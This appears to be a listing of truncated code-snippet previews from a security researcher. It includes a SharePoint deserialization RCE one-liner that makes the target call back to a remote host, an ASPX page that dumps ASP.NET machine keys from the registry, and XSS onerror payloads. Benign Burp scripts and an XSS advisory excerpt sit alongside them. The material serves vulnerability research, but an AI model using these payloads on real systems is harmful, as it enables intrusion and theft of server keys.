irsdl

CVE-2026-45595 — Windows Mark-of-the-Web Bypass via unzoned desktop.ini

Patch-diff analysis of the June 2026 cumulative update (KB5094128)

CVE	CVE-2026-45595 — Windows Mark of the Web Security Feature Bypass
Severity	Important, CVSS 5.4 (not actively exploited at release)
Fixed in	KB5094128 — Windows Server 2022 / 21H2, OS build 20348.5256 (released 2026-06-09)
Patched binary	windows.storage.dll (11.0/10.0.20348.5256)

irsdl

$n=[Guid]::NewGuid().ToString('N');$cb="http://remote/spse-cookie-rce-$n";$cmd="powershell.exe -NoProfile -NonInteractive -Command Invoke-WebRequest -UseBasicParsing '$cb'";$body=((& 'ysonet.exe' -p SharePoint --cve=CVE-2026-50522 --formbody --rawcmd -g TypeConfuseDelegate -c $cmd --target 'http://TARGET') -join "`n").Trim();Write-Host "Callback: $cb";Invoke-WebRequest 'http://TARGET/_trust/default.aspx' -Method Post -Proxy 'http://127.0.0.1:8080' -ContentType 'application/x-www-form-urlencoded' -Body $body -UseBasicParsing -TimeoutSec 60

irsdl

<%@ Page Language="C#" %>
<%
// Read https://soroush.secproject.com/blog/2019/05/danger-of-stealing-auto-generated-net-machine-keys/
Response.Write("<br/><hr/>");
byte[] autoGenKeyV4 = (byte[]) Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\ASP.NET\\4.0.30319.0\\", "AutoGenKeyV4", new byte[]{});
if(autoGenKeyV4!=null)
	Response.Write("HKCU\\Software\\Microsoft\\ASP.NET\\4.0.30319.0\\AutoGenKeyV4: "+BitConverter.ToString(autoGenKeyV4).Replace("-", string.Empty));
Response.Write("<br/>");
byte[] autoGenKey = (byte[]) Microsoft.Win32.Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\ASP.NET\\2.0.50727.0\\", "AutoGenKey", new byte[]{});
if(autoGenKey!=null)

irsdl

<img alt="<x" title="/><img src=url404 onerror=xss(0)>">

<img alt="
<x" title="/>
<img src=url404 onerror=xss(1)>">

<style><style/><img src=url404 onerror=xss(2)>

<xmp><xmp/><img src=url404 onerror=xss(3)>

irsdl

Summary

A Cross-Site Scripting (XSS) vulnerability exists due to a flawed regular expression in the sanitizeHtmlWithStylePreservation function. The regex /<style[\s\S]*?<\/style>/gi used to extract and preserve style tags can be bypassed in two ways, allowing arbitrary HTML and JavaScript to evade DOMPurify sanitization entirely. This results in full XSS execution.

Details

The vulnerability exists in search-parts/src/services/templateService/TemplateService.ts (lines 716-745):

public sanitizeHtmlWithStylePreservation(html: string): string {
    if (!html) return html;

irsdl

// ============================================================================
// Repeater Action: Pull tokens/values from Proxy History & Apply to THIS item
// ----------------------------------------------------------------------------
// WHAT IT DOES
//   1) Scans Proxy history (most recent first) for an entry that matches your filters.
//   2) Extracts values (Cookie header, form params, etc.) via regex extractors.
//   3) Applies the extracted values to the CURRENT Repeater request (requestResponse).
//
// HOW TO USE / EDIT (TL;DR)
//   - Set filters in CONFIG (host/path/method/status/in-scope/highlight). Blank = ignored.

irsdl

# ***********************************************replacer_for_python_scripter
import re,random

print callbacks.getToolName(toolFlag)
if(messageIsRequest):
	if (callbacks.getToolName(toolFlag) == "Proxy" or callbacks.getToolName(toolFlag) == "Intruder" or callbacks.getToolName(toolFlag) == "Repeater"):
		requestInfo = helpers.analyzeRequest(messageInfo)
		headers = requestInfo.getHeaders()
		msgBody = messageInfo.getRequest()[requestInfo.getBodyOffset():]
		msg = helpers.bytesToString(msgBody)

irsdl

// by @irsdl
boolean manualColorHighlightEnabled = true; // e.g. BurpRed anywhere in the request
boolean pwnFoxColorHighlightEnabled = true; // to support PwnFox Firefox extension containers

// BEGIN HIGHLIGHT LOGIC {

boolean hasAlreadyBeenColoured = false;
/* Manual highlight logic to see something like BurpRed */
if(manualColorHighlightEnabled){
    Pattern manualHighlightPattern = Pattern.compile("burp([a-z]{3,7}+)", Pattern.CASE_INSENSITIVE); // like burpRed or burpYellow

irsdl

// by @irsdl
// This script identifies anomalies in how JS parses the URL using `URL(url).hostname`:
// 1- Characters that are ignored when present in the domain name.
// 2- Characters that can replace ASCII characters in domain names and still be parsed correctly. In here we want letter S in `soroush.me`
// You can try running this script in your browser's dev console or at https://www.jdoodle.com/execute-nodejs-online/
// I am sure this must have been looked at before but I cannot find a reference

for (let i = 0; i <= 0xFFFF; i++) {
    const unicodeChar = String.fromCharCode(i);
    const urlString = `http://sorous${unicodeChar}h.me/blog/`;

irsdl

if(requestResponse.hasResponse() && requestResponse.request().url().contains("/irsdl")){
    var respBody = requestResponse.response().bodyToString();
    respBody = respBody.replaceAll("test|foobar", "example");
	return requestResponse.response().withBody(respBody);
}else{
  return requestResponse.response();
}